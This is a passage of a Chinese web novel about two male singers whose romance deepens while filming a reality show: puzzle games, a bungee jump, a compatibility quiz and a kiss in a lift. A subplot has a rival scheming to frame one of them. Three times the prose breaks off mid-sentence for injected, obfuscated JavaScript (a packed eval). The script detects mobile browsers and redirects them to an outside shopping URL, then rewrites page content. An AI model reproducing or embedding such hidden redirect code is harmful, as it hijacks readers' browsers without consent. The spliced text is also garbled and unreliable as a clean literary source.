男的跪下起誓说真心爱慕她,愿意娶她,等孩子生了就领证。女人丢了工作,患上抑郁症,怀孕八个月的时候,一天竟撞见男的和另一个女人翻云覆雨、白日宣淫,还嘲讽她‘贱货只得贱卖’。她失了智,抄起桌上的水果刀……” 易卿尘一时竟讲不下去。杨原野看着他望向大海深处的眼睛,瞳孔里裹着化不开的哀切,睫毛微微打颤,嘴唇抿得很紧。 杨原野眉心突跳,小声唤他:“易卿尘?” 隔了两秒,易卿尘回了神,语调平静地说:“我接着讲。” “……她抄起桌上的水果刀,对着男的后背捅了进去,足足七刀。男人赤身裸体,浑身是血,倒在另一个光着的女人身上,死了。” 易卿尘又陷入了短暂的静默,故事该是讲完了。 杨原野紧声问:“后来呢?” “后来,女人被判了三十年刑期,出狱的时候已经精神失常。” “生活果然比书里写的更残忍。”杨原野边说边盯住易卿尘的眼睛——一道墨玉色在他眼中骤现,又很快被遮住。 易卿尘抬手蹭了蹭被凉风吹得发热的眼睛,笑笑,用漫不经心的语气说:“哪里,全都是小说而已。” 海浪拍打着礁石,发出低沉的呜咽声。月光洒在海面上,照亮了波涛的起伏,也映着海的深邃和无边无际。 杨原野的肩膀时不时地碰着易卿尘,说:“你看的这些书都太酸涩了,看多了心情都变差。回头我给你发几本,盗墓、缉毒、星际冒险,都是拔尖的。” 易卿尘笑着点点头,“好啊。” 杨原野接着说:“或者可以看看我配音的动画片,膜拜一下本少爷?我可是个多点开花、全面发展的两栖明星。” 易卿尘被他逗笑,“你下次演个水陆两栖的乌龟,我一定支持票房。不光买票去院线看,还去豆瓣上给你写个五星长评怎么样?” “说好了,必须给我写出真情实感来!”杨原野咯咯地笑。 第二天一早就要开工录影,两个人又闲聊了一会儿就往回走了。两人在酒店的房间一个在南楼,一个在北楼。行至酒店大堂,易卿尘脱下衬衣外套还给杨原野,跟他道了句晚安。 “早点休息,明天见。”易卿尘刚转身要走,就被杨原野拉住胳膊。 此时大堂里零星有几个人,两人又都没有戴口罩,怕被人认出,杨原野很快便松了手。 易卿尘微微歪头,“怎么了?” “你……那个孩子……他后来怎么样了?”杨原野问。 易卿尘一顿。 “……你……说什么?” “那女人坐了几十年牢,那她的孩子呢?” “……”易卿尘怔愣一瞬。 他果然听懂了他的故事。 他不想杨原野卷进他的麻烦里,又忍不住用这种隐晦的方式对杨原野坦白。 易卿尘缓缓地伸手掠一掠头发,假装不在意地反问:“我怎么知道呢?书里又没写。那样的小孩,大抵就不该出生吧……不是每个生命都被人期待。” 他就是那个带着原罪的生命,无人期待。 杨原野垂下眼帘摇摇头,拎起衬衣外套,臂弯绕过易卿尘的耳旁。夜风中混着杨原野身上清冽的气息,萦绕在易卿尘鼻尖。下一秒,那件带着海风味道的衬衣,今晚第二次笼住易卿尘的身体。 “那个小孩知道这一切的时候一定很难过,甚至以为是自己的错。但是父母的罪恶不是他的一部分,他来到这个世界是个独立完整的人,要自己写自己的故事。”杨原野认真的脸上露出浅浅的暖意,“我知道,关于他的那篇小说一定会很精彩,低开高走,不是悲剧。” 身上这件衬衣明明一晚上都是自己在穿,此刻易卿尘却觉得杨原野的体温正透过布料传到自己身上。 他不明不白就握住了杨原野的一只手,柔声说:“那篇小说就由你来写吧。” 杨原野的眼睛倏地亮了起来,墨色的眸子,眼光闪耀带着怜惜,看得易卿尘诚惶诚恐。 他听得杨原野用小小的气音问道:“真的吗?” 喂,说的是一篇小说啊,杨原野在问什么……易卿尘身上的热度缠缠绵绵地攀升,是的吧,他听懂了他讲的每一个故事,是因为杨原野聪明,还是因为他在乎他呢?…… “杨原野,回京北前,陪我去看看我妈吧,她喜欢听你唱歌。” 杨原野难得笑得如此柔顺,“好,去看看妈妈。” 易卿尘低下头,感受着自己发烫的脸颊。 杨原野用力捏了捏他的手,又用食指搔了下他的掌心。 好痒。 “阿野。” “嗯?” 易卿尘攥住了杨原野的指尖,小声道:“我今天根本不知道楚总会过去,我和他不是约好的。” 这样解释应该够了吧?如果你没误会,可以说句话? 易卿尘扬起脸,看见杨原野的眉头簇拥着,像渤海湾的午夜般深沉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156681|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再多一秒沉默都会让人感到紧张,易卿尘张口准备再好好解释,杨原野有些委屈地开了口:“我变得不自信了,得不到你的确认我会不安,对不起,可我暂时好像改不了。” “……嗯……没人要你改啊。” 不能再聊了,这样的阿野,他想吻上去。 “晚安。”易卿尘仓惶跑走了。 - 翌日。真人秀的第一个录制场景搭在了阿那亚的地标性建筑——孤独图书馆。 图书馆门口是一片空旷的海滩,为了《中国唱作人》的录制特别清场,十几台摄像机站成一排,对准六位歌手。 这一期的主题是:“百年孤独”。 六个人坐在孤独图书馆门口,一字排开。易卿尘和杨原野之间隔着三个人,可他总忍不住瞟向杨原野。造型师给杨原野搭了一套复古牛仔服,头发涂了发蜡向后拢着,额上系着条红白相间的发带,配上攻击性的浓颜,非常像上个世纪老港片里旺角古惑仔,让人挪不开眼。 八月天空晴朗,海边总是有风,顺着风的方向,易卿尘又一次偷偷看向右边,正对上杨原野向左荡来的眼波。海风随着那眼波一并吹进易卿尘心里,咸咸痒痒的。 这期第一个环节是游戏,歌曲抢麦:唱关于“孤独”的歌,唱得最多的人可以获得一张“特权卡”,在后面的环节使用。 哨声响起,“古惑仔”一双大长腿跑得比谁都快,冲向麦克风,唱到:“当你孤单你会想起谁,你想不想找个人来陪。” “有效。”导演确认道。 可能是孤独总是激发创作灵感,关于孤独的歌曲太多了,大家你来我往难分胜负。 段朗星:“如果你的孤单,只是你的习惯,一直把你自己锁起来,实在太不应该。‘五月天’,《终结孤单》” 易卿尘:“少了我的手臂当枕头,你习不习惯,你的望远镜望不到我北半球的孤单。《孤单北半球》” 江琳达:“越长大越孤单,越长越不安。来自‘牛奶咖啡’《越长大越孤单》” 沈世豪:“Merry merry Christmas,lonely lonely Christmas……from Eason Chen” 向荣:“从不喜欢孤单一个,可惜偏偏孤独一个。苏永康的粤语经典《从不喜欢孤单一个》。” 几十首歌过后,就剩下江琳达和杨原野,一人一首,仿佛两个行走的中华曲库互相你来我往在打乒乓球。 江琳达:“孤单的人总说无所谓,其实心里一直在下雪。蔡依林。” 导演:“有效。” 杨原野:“我不要忙忙忙忙故意欺骗自己,平平凡凡忽略我的梦想。孤孤单单夜夜看着月亮,办不到。许慧欣《孤单芭蕾》” 导演:“有效。” 江琳达:“因为你的悲喜已经有了,容身之处,我也能有,最纯粹的孤独。Hebe《还是要幸福》” 江琳达一开口,杨原野便扶额,脱口而出:“我擦,我想的也是这首!” 导演:“有效。” 等了半天,杨原野抓起立麦,唱了一句:“你听寂寞在唱歌,轻轻的,狠狠的。歌声是那么残忍,让人忍不住泪流成河——” 刚唱完,就被喷了一脸干冰,红白发带在脑袋后面跳了个脚。 “寂寞不是孤单,”导演说道,“这个不能通过。” 江琳达趁机又站上去唱了一首。 时间正好用完,江琳达获得了这个环节的第一名,作为目前唯一留下的女歌手,力压所有男士拿到“特权卡”,着实感到扬眉吐气。 70.070 换卡 结束了抢麦环节,导演宣布下面所有人进入孤独图书馆,馆里藏有六个宝盒,要他们几个分别进入寻找。 孤独图书馆距离大海不足百米,遗世独立。面朝大海的一面,用了高通透的玻璃幕墙,室内以原木色为主调,有三层阶梯,每一个座位都可以看见大海。 图书馆比较小,呈一个长纸箱的形状,六个人分三批进入,两人一组。易卿尘和他的Follow PD(跟拍导演)以及VJ(摄像)一起从东侧进入图书馆,与此同时,另一个艺人和正从西侧进入,易卿尘不知道对方是谁。 易卿尘小心地翻着长桌上和书架上的书籍,查找书架角落,沙发座椅下面,试图找出线索。艰难地翻找了半天,一无所获。易卿尘直起酸了的腰,透过透明玻璃幕墙望向远处的大海,忽然被一道强光晃了眼,似乎有人在海滩上用反光镜故意制造的反射。 循着这束光望去,它最终的落脚点是图书馆二楼书架上的一本书。易卿尘走上去,看到那本书的名字:《质数的孤独》,作者是意大利作家保罗·乔尔达诺。 易卿尘翻开这本书,书签所在那页,这样一个段落吸引了他的注意: “在大学一年级的一门课上,马蒂亚知道,在质数当中还有一些更加特别的成员,数学家称之为‘孪生质数’,它们是离得很近的一对质数,几乎是彼此相邻。在它们之间只有一个偶数,阻隔了它们真正的亲密接触……” “孪生质数……”易卿尘嘴里一边念着,一边观察书架——书架上被标记了序号,从数字1开始。每架从上到下又有六七排书。 3和5,5和7都是孪生质数,易卿尘开始重点搜索这些号码和它们中间号码的书架。3、4、5、6、7号都没有什么发现。 下一组是11和13号书架,易卿尘努力翻找,最高那一排的书要他稍稍踮起脚去够。要是阿野在就好了,那双大长腿多有用啊,胳膊也长,当初从门缝给他递馒头,他就想拉住他的胳膊摇一摇。不过他那次是去找杨原野重建友谊的,那样摇人家的胳膊显然是不合适的。但现在,他又想了。 想着,易卿尘的手指在最高那排架子上摸到一个木制的盒子,他更努力地垫了垫脚,正要把它拿下来,易卿尘感到一个温暖的触感覆在自己的手上,很快又弹开。手下的木盒子被书架对面的人抽走了。 隔着书架,易卿尘看不见对面的人,却心生涟漪,快步往回走。书架的号码越来越小,10,9,8……4,3,2,1,易卿尘绕过一排书架来到了对面。 “我先找到了!” 还没见到人,一个声音响起。 段朗星当着他的面晃了晃手里的盒子,在镜头前,一脸嚣张地冲他笑。 不是易卿尘想看到的那个人的笑。 最近段朗星尤其得瑟,节目播出以后,粉丝们的疯狂程度更上一层楼。河北当地的后援会租了二十两加长林肯,挂满段朗星的横幅,一天一次绕渤海湾巡游。还有一位匿名的狂热粉,每天往节目组寄她穿过的衣服、用过的口红、戴过的口罩给段朗星,搞得大家议论纷纷。这年头,行为变态的人可真多。 段朗星和易卿尘俩人一起打开盒子,翻出两张卡片。一张上面画了一只小狗,另一张则是一副春联。 段朗星看着卡片嘀咕道:“这是什么意思?刚刚杨原野拿了一张蜜瓜,这里面有什么联系吗?” “蜜瓜?”易卿尘说,“你还见到别人的吗?” 段朗星摇了摇头,“我们那头我是第二个。”说罢,随手拿走了春联那张卡片,把小狗那张留给了易卿尘。 跟着follow PD的指引,易卿尘拿了卡片按原路返回,从图书馆东侧出口离开。刚出去,另一位副导演就引着他去一旁的临时布景前做采访,讲刚才“寻宝”的经历。 等易卿尘采访完,看见沈世豪从里面出来了,他手上拿的卡片画着一个抱着大鲤鱼的年画娃娃。 “这些卡片有什么用?”易卿尘听得沈世豪在问导演。 “这是下一环节分组的依据。”导演答,“如果愿意,你们现在可以私下自行交换。” “我都不懂这是什么意思,怎么换?”沈世豪耸耸肩。 见易卿尘在近前,沈世豪冲他问道:“Linda拿了一只瓢虫,我这是个小孩。你拿的什么?” 易卿尘给沈世豪看他的小狗卡片,这对于沈世豪来说几乎等于天书,他勇于放弃了:“No idea,whatever.” 又过了一会儿,向荣从房车走出来,他第一个进去的,年纪大了,天气热,一出来就进车里吹空调了。见到沈世豪和易卿尘,他也摊开自己的卡片,一张100分的试卷。 易卿尘看着这几张卡片,忽然眼前一亮。他想他应该是猜到了。 摄像机还在不间断地拍摄,易卿尘操着漫不经心的语气对沈世豪说:“沈世豪,既然都没头绪,不如咱俩换一换,我挺喜欢你这画的胖娃娃的。” Rapper很好说话,抬手就把卡片递给易卿尘。易卿尘的欣喜就快藏不住,可就在他即将接过卡片时,被导演拦住了。 导演用扩音器说道:“主动发起卡片交换的人,下一轮游戏环节的总限时要减掉10分钟。易卿尘,你还要继续和沈世豪交换卡片吗?” “下一轮是什么游戏?”易卿尘问道。 “暂时保密。” “那还是算了吧,说不定那十分钟很重要呢,你又不知道这些卡片是什么意思,何必呢?et it,right?”沈世豪说罢又把卡片收回去,揣进夹克兜里。 易卿尘想了想,对上导演似笑非笑的目光,肯定地说:“我还是选择交换。” 在沈世豪诧异的目光里,两人完成了卡片交换。 这期的主题叫“百年孤独”。向荣的满分试卷对应的是“百”,对面段朗星的对联便是“年”。孤字的偏旁部首拆成“子”和“瓜”,也就是沈世豪手里的年画娃娃,以及对面杨原野手里的蜜瓜;易卿尘自己的小狗牌是反犬旁,和对面江琳达的七星瓢虫牌正好组成孤独的“独”字。 易卿尘用小狗换了沈世豪的年画娃娃,一切如他所推测的那样,他用十分钟的时间,换到和“小蜜瓜”搭档,心里也像吃了蜜一样甜。 几分钟后,所有六个人又在孤独图书馆门前聚齐。 导演开始给大家播放一组动画小片,果然如易卿尘所料,小娃娃从年画上走下来抱起了蜜瓜,小狗跑着跑着,一只瓢虫飞到它的鼻尖。这些意向最终组成了“百年孤独”四个字。 “下面一个游戏环节,拿到百年牌,孤牌和独牌的自动两两配对,作为搭档。由于有人主动交换过卡牌,所以每一组限定完成游戏任务的时间有所不同。”导演说。 易卿尘心花怒放, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166078|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他全猜对了。于是踏踏实实地等待导演公布分组结果。 “首先,‘百年’队,由向荣和段朗星一组,游戏限时,60分钟。” 大哥和小弟的组合,段朗星作为后辈谦逊地鞠躬握手,表示荣幸。 接着,导演笑容满面地宣布:“第二组是‘孤’字队,易卿尘和江琳达,游戏限时,50分钟。” “……” 怎么是她?不是他? 易卿尘看着手中拿着蜜瓜卡片的美女Linda,一脑门黑线。 他脑暴算计了半天,拿着蜜瓜跟他组成一队的不应该是杨原野吗? “最后一组是‘独’字队,沈世豪和杨原野,游戏限时——”导演顿了顿,强调道,“也是50分钟。” 易卿尘往右看去,接收到一个幽怨的眼神,来自一名拿着瓢虫卡片的帅哥。 …… 换来换去,易卿尘还是和江琳达一组。两人坐上一辆奶油色复古大众小巴车前往下一个游戏所在地。 易卿尘情绪有些复杂,按照逻辑推演,是杨原野主动和江琳达换了卡牌,可那背后的原因是和自己一样吗? 他心猿意马,一直在溜号。 Follow PD:“……易老师,我刚才说的都没问题吧?” 他说什么了?易卿尘哪里知道,不过应该是写无关紧要的东西吧,于是随口应道:“嗯,没问题。” 到了鸽子窝公园,易卿尘和江琳达就开始分开行动。导演说:“按照在车上说的,你们最后会相遇的。” 易卿尘才不在乎什么时候和江琳达相遇,在镜头面前表现出的假热络不是他的舒适区。 他只管去做自己的任务。 好在任务进展得很顺利,易卿尘一路从几个当地手工艺匠人那里拿到带有题目的盲盒,题目都是关于音乐,对于科班出身、基本功过硬的他来说,简直是高光时刻,连他的PD都称赞:“易老师要是不当艺人,大学教授也当得。” 易卿尘一下子受到了启迪,是啊,如果不做艺人,他可以去教书。父亲在世的时候就是古琴老师,也时常感叹学古琴的少,因为会教古琴的更少。 把收集到的盲盒都拆开,里面是几张拼图,拼好之后是一幅《孟姜女哭长城》。易卿尘要限时创作两个八拍的歌曲,以此为主题。秦皇岛这个地方有许多传说,孟姜女就是最有名的一个,为了爱人哭倒长城,最后只得杞梁君一具白骨。痴心女子里孟姜女是肺活量最好的。 易卿尘写的这两个八拍非常考验歌手的肺活量,外加最后的尾音,飙高到长城烽火台上去。果然只有孟姜女才唱得出来。 一众导演纷纷叹服——“易老师简直是油菜花成精。” 完成这些环节,易卿尘50分钟的任务时间只用了24分钟,还有26分钟。他好得意,自己真优秀。 “最后那一关费时间吗?”易卿尘问导演。 导演摇摇头,笑着说:“只需要三秒钟。” 到了场地,易卿尘却傻了眼。 怔愣半天,扭头问导演:“完不成任务,有什么惩罚吗?” 导演瞪大眼睛:“就我车上跟你说了几遍的,这次的结果会变成票数加成,影响下一期的比赛结果呀。易老师,你现在遥遥领先呢!” 下一期是淘汰赛,易卿尘这个还是记得的。 “可是,我恐高……” 71.071 恐高 易卿尘看着面前的蹦极台,想起四年前在京北欢乐谷,被杨原野骗着去蹦极,下来腿软成棉花,吐得昏天暗地,绝对不是镜头可以拍的那种狼狈。 “那我等等Linda吧,我们俩只要其中一个人跳下去,拿到最后一个信封就算成功,是吗?”易卿尘紧张地追问。 “呃……理论上是的……可是Linda刚刚使用了特权卡,这个环节她选择跳过了。”导演说,“易老师,恐怕只能靠你自己了,这应该没那么难吧,你克服一下。” 一个男人恐高,似乎并不能得到同情和理解。再说他还是个艺人,拿着普通人望尘莫及的片酬,怎么配有不能克服的障碍呢? 博博作为艺人助理被要求等在休息营地,没跟着他,现场只有节目组的PD,一个个都是一副“你快跳,我们好下班”的表情。 易卿尘一咬牙,穿上防护服,沿着铁架楼梯一步一步往上走。他不敢往下看,耳畔的海风越往上走越吵,易卿尘紧紧地抓着扶手。 终于站上了跳台,他只感到一阵头晕耳鸣肠动想吐。 上一次和杨原野蹦极,一来是无知者无畏,二来他全程是被动绑在杨原野身上的,相当于“他杀”。现在,他被要求自己主动往下跳,相当于“自杀”。这个难度大多了,易卿尘迟迟下不去手。 50分钟限时只剩3分钟,易卿尘仍然一个人站着高台上,脸色惨白,不敢往下看,也不敢往上看。 生理性的恐惧很难克服,他已经很努力地在和它对抗了,腿真的在裤管里发抖,贴身的衣服被汗浸透了,颤颤巍巍又往前挪了几厘米,这时候他真希望有人来推他一把。 “还剩最后一分钟。”Follow PD的语调从先前的不耐烦,忽然多了些兴奋。作为导演他自然知道,这种倒计时最后一分钟的戏码最赚眼球。 耳鸣太厉害了,世界开始摇晃,易卿尘下意识地闭上了眼睛。他发觉自己的腿越来越软……就这样吧,他要是就这样栽下去也算成全自己了。 忽然,一个熟悉的声音透过耳朵病态的蜂鸣、隆隆的心跳由远及近。随着声音到来的,还有一股迅猛外力,不由分说地将他扯向身后。易卿尘趔趄着就快摔倒,幸而被一双手稳稳地扶住。他睁开眼睛,透过温热的水光看见了杨原野的脸,额间的发带跑得松掉,汗水沿着发梢滴下来,像是刚穿越过火线。 他急切地说:“快下来,有我呢。” 易卿尘腿软脚软,见到杨原野,一下子就卸了力,像一坨软绵绵的面团,倚在身后铁架子的拐角里,在一旁看着他。身旁的工作人员正飞速往杨原野身上搭锁扣。易卿尘张了张口,刚想说什么,就听得导演组的倒计时:“10、9、8、7……” 随着不断变小的数字,杨原野掰开易卿尘的手,把什么东西按进他潮热的手心,接着纵深一跃、消失在视野里…… “……3、2、1。时间到!” 与此同时,离脚下很远的地方响起清脆的一声哨响,杨原野拿到了最后一关的胜利信封。 “这段儿简直绝了!绝对是个收视率小高潮,我勒个去!”导演兴奋得嗓音变形,又尖又长带拐弯。 易卿尘的耳鸣像被调小声后关掉的收音机,他又能听到海鸥在碧蓝天空翱翔发出欢愉的叫声,世界的秩序慢慢恢复如常。 海风吹着他的额发,汗水蒸发带来一丝清凉的释放。他低下头,缓缓摊开手心:一颗安安静静的薄荷糖,用蓝色的透明糖纸裹着——像极了那晚他照片里模糊不清的应援灯牌,又像他们之间尚未宣之于口的情愫。 易卿尘从几十米高的跳台上一级一级走下来,脚踩到大地那一刻,他看见了在地面等着他的人。 幸福是一种实感,易卿尘平稳降落。 导演对着他们二人解释着刚刚发生的事,而易卿尘和杨原野却都没有在听。 “刚刚Linda由于身体原因无法蹦极,用了特权卡,选择了和小野交换任务,小野接到新任务从另一个场地赶过来的时间也被计算在总用时里,可谓是争分夺秒,相当于不可能完成的任务了,真没想到你们这组最后能顺利完成……” 杨原野凑近易卿尘,见他手里还攥着那颗糖,便问道:“给你的糖怎么不吃?” “你为什么给我这个?”易卿尘小声反问。 “为什么?怕你低血糖晕倒呗!还能为什么……你看你的脸色,那么白,快吃!” 易卿尘拆开糖纸,把糖球塞进嘴里。薄荷特有的清凉又甜又辛,在口腔蔓延。 杨原野露出了满意的笑容。 这一部分的素材拍完了,导演组给艺人休息,准备转场进棚里拍下一节。 天太热,杨原野把红白发带被拆了变成一块大手帕,拿在手里擦他一脑门的汗,一边擦一边没来由地问道: “易卿尘,你哪只手写字?” 易卿尘一脸懵:“……啊,右手,怎么了?” “右手?哦,那剁了吧。”杨原野抓起易卿尘的右手放在眼前,小狗一样,“吭哧”咬了他手背一口,不重,留下一小片水痕。 “……” 大庭广众,他干嘛咬他?易卿尘拧着眉毛对着自己的右手看了又看,好好的手,为什么要剁了? 看杨原野的Follow PD在一旁捂着嘴偷笑,易卿尘抛给她一个询问的眼神:“他……这是中暑了?还是突发型反社会?” PD姐姐憋着笑冲杨原野说:“小野老师去补下妆吧,一会儿还要录个彩蛋!” 杨原野跟着化妆师走之前,还不忘扭头朝他做了个剁手的手势,扮了个鬼脸。 易卿尘不明就里,但气势不能输,回他一个抹脖子的手刀。 莫名其妙,易卿尘看他就是欠收拾。 PD姐姐挨过来,替杨原野解释:“唉呀易老师,你不知道,我们这五十分钟太刺激了。接到指令就往你这边跑,小野腿长跑得又快,没把我和VJ跑累死。好不容易到了,就赶紧做任务,本来挺顺的,没想到卡在第二个任务上,是演唱你写的歌,孟姜女哭长城……” 易卿尘听到这句话,瞬间秒懂,忽然也很想笑…… “……易老师你写的那歌,哎呦喂,真挺厉害的,哈哈哈,”PD姐姐忽然又憋不住,笑得乱颤,跟台洗衣机似的。 “哎呀,总之,到时候节目播出你看看就知道了,小野给那歌唱出了一种‘公鸡下蛋难产’的效果……整整唱了17遍,系统才通过识别让我们过关。所以呀,他刚才是跟你变相撒娇求安慰呢……” 易卿尘憋着笑,自己找补:“咳咳,我那是写给孟姜女唱的,谁让杨原野唱了?活该他难产……” 两边的Follow PD姐妹一起对着乐,乐完让易卿尘也去化妆了。 易卿尘作完妆造,路过剧组的保姆车时,正碰见江琳达和一个男人在说话,瞥见他,江琳达抬手跟他打了个招呼。 他也礼貌地回应道:“Linda,你身体好些了吗?” “嗯,没事儿。你先去忙吧!” 易卿尘发现江琳达旁边站着的是宋晓赢,神情紧张的样子,两人好像在谈着什么重要的事,他不便打扰,绕过他们走开了。 宋晓赢看着易卿尘的背影,拧着眉头从兜里掏出一支烟,刚要点着,手上一顿,又自觉地把烟收起来了。 “抽啊,你怎么了?”江琳达问。 宋晓赢压着不满:“我怎么敢在孕妇面前抽烟?” 江琳达下意识摸了一下小腹,还看不出来明显的隆起,她冷笑了一声说道:“我又不打算生,不是跟你说过了吗,过几天找个机会弄掉,赖在姓易的身上就行了。” “惹什么别惹女人,我真是怕了你了,”宋晓赢凑近了些,低声问道,“可是,你为什么偏要选易卿尘来背这个锅?” 江琳达像听了什么笑话似地,嗤笑一声,“当然是因为全剧组就他跟我有过节啊,我们上次搞鸿门宴欺负他,他怎么就不会心怀不满报复我?再说,易卿尘是楚言床上的人,早就是楚老二的眼中钉了,他容不下姓易的,已经在暗中部署了,我这时候给他多添一条罪名怕什么?” 宋晓赢闷声点了点头,嘱咐道:“小心点儿,咱们经不起出错,成则荣华富贵,输则粉身碎骨。咱俩一块儿死。” “晓赢哥,你要是怕这怕那的,晚上也不要来找我了。” 江琳达甩甩手,扭头走了。留宋小赢一个人在身后又气又无奈。 另一边,摄影棚内,剧组正在布景,准备给各组拍彩蛋环节。所谓彩蛋就是每队两个合作搭子快问快答,默契度小考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186419|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 编剧特意将易卿尘和杨原野安排到一组,自然是因为网上#野尘CP#的讨论度哐哐蹿升的缘故。节目组也想蹭一波流量。 两个人面对面坐着,中间隔了一米的距离。杨原野换上一套黑色真丝衬衣,头发抓得老高,剑眉又浓又黑,年轻又有男人味,真是好看。 “Action!”打板之后,导演Q了第一个快问快答的题目。 “第一题,请在题板上写出易卿尘最喜欢的动物。” 这怎么跟初中生写同学录似的,估计这彩蛋没什么人会看。 导演:“请两位同时亮题板。” 杨原野:“狗”。 易卿尘:“狗狗”。 现场有一两个没见过世面的小声“哇“了一下。 “第二题,请写出杨原野最喜欢的颜色。” 杨原野:“黑”。 易卿尘:“黑色”。 现场又有人“哇哇”叫。 “第三题,易卿尘最喜欢什么花。” 杨原野:“扶郎”。 易卿尘:“弗朗花”。 导演:“写法不同,但确实是同一种花。” “第四题,杨原野最怕什么东西。” 杨原野:“蟑螂”。 易卿尘:“长翅膀在卫生间飞的大蟑螂”。 易卿尘记得那次见到会飞的蟑螂,嚣张跋扈的小混蛋居然吓得破音,第一次管他叫哥——哥,你去打。 “哇!”连导演都叫出来,“二位果然是好朋友,已经连对四题,破了前两组的记录啦。咱们看看最后你们bo多少题。” …… “第八题,易卿尘最喜欢的电影是什么?” 杨原野:“彗星来的那一夜”。 易卿尘:“《彗星来的那一夜》”。 “哇!!!”现场越来越多人聚过来,随着公布题板,一次一次张着嘴像一群青蛙在合唱。 前面两组的成绩分别是一题和三题,编剧组本来觉得这个环节的设置很失败,可如今看见这对,另外两组作为对比组说不定会成为本期一大亮点。导演的情绪明显被点燃了,语调高昂地继续问: “第九题,杨原野最喜欢的食物是什么?” 易卿尘感受到现场愈发热烈的氛围,忽然没来由地涌上来一阵恐慌,脑子里冒出个念头——这么熟悉彼此的两个人还能产生爱情吗?会不会就像左手握右手,自己和自己谈恋爱,那有什么趣味……爱情里最大的乐趣不就在于彼此探索、未知、惊喜吗? 易卿尘不欲探索任何未知,只要那人不是杨原野,他都没兴趣。分开的四年,易卿尘身边出现过不少的人,男人女人,林林总总。那时他以为今生都不会再见杨原野,他也想从过去里走出来,尝试开始新的生活。 可是每一次,都无法开始,因为易卿尘只是在不同的人身上寻找杨原野的影子。这个人有他的潇洒,却少了他的真挚;那个人有他的灵气,又缺了他的倔强;有人笑起来像他,手掌却是冷的;有人声音像他,眼睛却太过浅白……人海茫茫,有很多人像他,却都不是他。 每一朵花都让他想起,那朵玫瑰。 可是他和玫瑰还没有真的开始啊,那么熟悉的两个人,还能“开始”吗? 易卿尘仓惶间将答题板上写的木字旁擦掉,故意写了个错误答案。 导演充满期望的声音:“二位请亮题板!” 杨原野:“板栗”。 易卿尘:“豆腐”。 “啊——”现场整齐划一的扼腕,集体惋bo的终结,仿佛京北申奥失败,火箭升空后爆炸,拿到的外卖掉在地上…… 导演扼腕叹息:“这题明显易卿尘的答案不正确,看来你们俩应该多在一起吃吃饭。” 杨原野疑惑又意味深长的眼神投射过来,易卿尘躲闪视线,砸砸嘴,装无辜。 “杨原野,易卿尘认为你最爱吃豆腐,你怎么看?”导演采访了下当事人。 “……嗯,那要看是谁的豆腐了。”杨原野说罢,对易卿尘勾起唇角,意味深长地一笑。 现场爆发了一阵哄笑。 易卿尘一时间也不好意思了,小脸通红,再看向杨原野看着自己的幽怨眼神,他快要自燃了。 72.072 处男 晚上,在市区喜来登酒店举行的《唱作人》节目组和广告投资方的晚宴,现在选手们要各自去换装。 酒店的电梯里,人们陆陆续续下电梯,轿厢里只剩下易卿尘和杨原野两人。 易卿尘和杨原野并排站着,中间隔了些距离,不知怎的,气氛略有些尴尬,易卿尘不自然地侧过头去看右边的镜子。 忽然,易卿尘的腰被一条长手臂捞住了,像一根水草缠住岩石,另一只手勾着他的脖子。肩上一沉,镜中的两张脸贴得那么近。 “……你干嘛?”易卿尘的身体绷紧了。 “吃你豆腐。”杨原野的脸上现出一抹坏笑,冲着镜子露出享受的神色。 电梯显示屏上的数字一格一格攀升,杨原野却丝毫没有要松手的意思。 “快起来,一会儿被人瞧见了,像什么话?”易卿尘用肩膀顶顶杨原野的下巴颏。 “被人瞧见,你怕吗?”杨原野故意用气声,吐息在他耳畔。 易卿尘的身子一下就僵了,紧张的喘气音在狭小的电梯里愈发粗重。 他怕吗?若要说为了自己,他没什么可怕的。若要使为了杨原野,他倒真的有点怕,怕会影响杨原野的前途,给他造成困扰。 这时,只听杨原野说:“我不怕。”声音虽小却异常笃定,“我早就想抱你了。” 易卿尘心头一热,忽然觉得有些事情他也早该澄清一下: “之前你说我双标,说我不承认你是gay,其实……”易卿尘害羞地垂下眼睑,悄声说,“我也是。” 臂弯瞬间收紧,易卿尘的后背撞在身后结实的胸膛里。 “是什么?”杨原野激动得把他锁得更紧了,“再说一遍。” “是,嗯……” 不行,易卿尘脸皮真是薄,死活说不出口。 他支支吾吾,忽觉耳垂一阵湿热,猛地抬脸看向面前的镜子,杨原野正吸吮着他的耳尖,舌头湿滑地舔舐、游走。 易卿尘脑子一片空白,不自觉地竟闭起了眼睛。 轿厢里安静得可以听见浓重的呼吸声,舌尖啧啧的水声,变换角度时关节轻微的喀嚓声…… “隆隆,叮!” 